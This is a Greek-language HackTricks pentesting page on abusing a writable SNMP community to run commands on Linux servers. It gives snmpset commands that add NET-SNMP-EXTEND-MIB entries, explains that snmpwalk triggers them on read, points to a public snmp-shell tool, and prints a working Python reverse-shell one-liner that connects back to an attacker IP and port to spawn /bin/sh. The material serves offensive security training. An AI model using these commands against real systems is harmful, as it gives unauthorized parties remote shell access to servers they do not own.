tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SNMP RCE

Το SNMP μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο αν ο διαχειριστής παραβλέψει την προεπιλεγμένη ρύθμιση του στη συσκευή ή τον διακομιστή. Με την κατάχρηση της κοινότητας SNMP με δικαιώματα εγγραφής (rwcommunity) σε ένα λειτουργικό σύστημα Linux, ο επιτιθέμενος μπορεί να εκτελέσει εντολές στον διακομιστή.

Επέκταση Υπηρεσιών με Πρόσθετες Εντολές

Για να επεκταθούν οι υπηρεσίες SNMP και να προστεθούν επιπλέον εντολές, είναι δυνατόν να προστεθούν νέες γραμμές στον πίνακα "nsExtendObjects". Αυτό μπορεί να επιτευχθεί χρησιμοποιώντας την εντολή snmpset και παρέχοντας τις απαραίτητες παραμέτρους, συμπεριλαμβανομένης της απόλυτης διαδρομής προς το εκτελέσιμο και την εντολή που θα εκτελεστεί:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Εισαγωγή Εντολών για Εκτέλεση

Η εισαγωγή εντολών για εκτέλεση στην υπηρεσία SNMP απαιτεί την ύπαρξη και εκτελεσιμότητα του καλούμενου δυαδικού/σεναρίου. Το NET-SNMP-EXTEND-MIB απαιτεί την παροχή της απόλυτης διαδρομής προς το εκτελέσιμο.

Για να επιβεβαιωθεί η εκτέλεση της εισαγόμενης εντολής, μπορεί να χρησιμοποιηθεί η εντολή snmpwalk για την καταμέτρηση της υπηρεσίας SNMP. Η έξοδος θα εμφανίσει την εντολή και τις σχετικές λεπτομέρειες της, συμπεριλαμβανομένης της απόλυτης διαδρομής:

bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Εκτέλεση των Εισαγόμενων Εντολών

Όταν η εισαγόμενη εντολή διαβαστεί, εκτελείται. Αυτή η συμπεριφορά είναι γνωστή ως run-on-read(). Η εκτέλεση της εντολής μπορεί να παρατηρηθεί κατά τη διάρκεια της ανάγνωσης snmpwalk.

Απόκτηση Shell Διακομιστή με SNMP

Για να αποκτήσετε έλεγχο πάνω στον διακομιστή και να αποκτήσετε ένα shell διακομιστή, μπορείτε να χρησιμοποιήσετε ένα σενάριο python που έχει αναπτυχθεί από τον mxrch από https://github.com/mxrch/snmp-shell.git.

Εναλλακτικά, μπορείτε να δημιουργήσετε χειροκίνητα ένα reverse shell εισάγοντας μια συγκεκριμένη εντολή στο SNMP. Αυτή η εντολή, που ενεργοποιείται από το snmpwalk, δημιουργεί μια σύνδεση reverse shell με τη μηχανή του επιτιθέμενου, επιτρέποντας τον έλεγχο της μηχανής του θύματος. Μπορείτε να εγκαταστήσετε τις προϋποθέσεις για να το εκτελέσετε:

bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ή μια αντίστροφη θήκη:

bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks